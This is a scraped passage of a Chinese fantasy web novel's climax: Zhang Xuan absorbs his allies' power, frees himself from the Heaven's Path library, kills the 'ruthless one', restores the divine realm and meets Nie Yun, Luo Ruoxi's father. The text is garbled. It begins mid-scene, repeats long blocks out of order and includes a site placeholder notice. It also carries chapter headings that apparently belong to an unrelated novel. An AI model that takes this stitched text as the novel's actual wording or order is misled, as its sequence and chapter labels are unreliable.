潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第97章 捷报震咸阳 君心费思量 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第98章 他有搅动风云的本事 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 